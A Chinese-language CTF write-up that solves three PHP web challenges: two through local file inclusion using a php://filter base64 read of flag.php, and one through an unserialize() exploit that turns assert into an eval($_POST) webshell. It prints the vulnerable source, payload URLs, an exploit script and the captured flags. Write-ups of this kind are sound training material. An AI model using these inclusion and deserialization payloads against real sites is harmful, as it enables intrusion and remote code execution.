本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[极客大挑战 2019]Secret File
打开发现就是一个网页,没啥提示,所以F12查看一下
发现提示
http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/Archive_room.php
进去后有个按钮,点击后也没啥
根据所说的提示,怀疑跳转时有啥秘密,用BP抓下包
发现秘密
<html>
<!--
secr3t.php
-->
</html>
打开这个PHP文件
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
尝试访问下flag.php
弹出个网页说我就在这里,此路行不通
那我们看代码,过滤了../,tp,input
所以我们尝试下file伪协议进行文件读取
构造payload
http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
出了个BASE64解码
$flag = 'flag{e7cb31bd-65b9-42fb-a0f5-87e831710500}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
[ACTF2020 新生赛]Include
题目提示了是文件包含类型的题,我们点击TIPS
考虑到flag藏在flag.php里
我们要读取源码,联想到之前学习时文件包含中对伪协议的利用构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
得出了
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjA5ZGNmZmMtOTVkNy00NTM5LTg4YmMtZGU4ZjJkMWM4MDQ3fQo=
直接base64转码
flag{209dcffc-95d7-4539-88bc-de8f2d1c8047}
NPUCTF2020]ReadlezPHP
F12看见源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
__destruct()魔术方法中
b包含了a
利用assert()函数
assert 判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。
所以构造木马
assert(eval($_POST[penson]);)
我们可以写个解题脚本
<?php
error_reporting(1);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$test = new HelloPhp();
$test->b = 'assert';
$test->a = 'eval($_POST[penson]);';
echo urlencode(serialize($test));
?>
- 需要我们输入data参数,之后将data参数反序列化执行
- HelloPhp这个类的析构函数会执行
echo $b($a)代码,当b=system,a=phpinfo()时,会执行函数查看到phpinfo界面 - 可以构建HelloPhp的序列化字符串,data传入时反序列化就会执行析构函数
- 获取HelloPhp类的序列化字符串:这里屏蔽了system,改用了assert
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
}
$a = serialize(new HelloPhp);
echo $a;
?>
结果:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
http://e55cd88e-5579-49c9-b87c-ee1670605995.node4.buuoj.cn:81/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}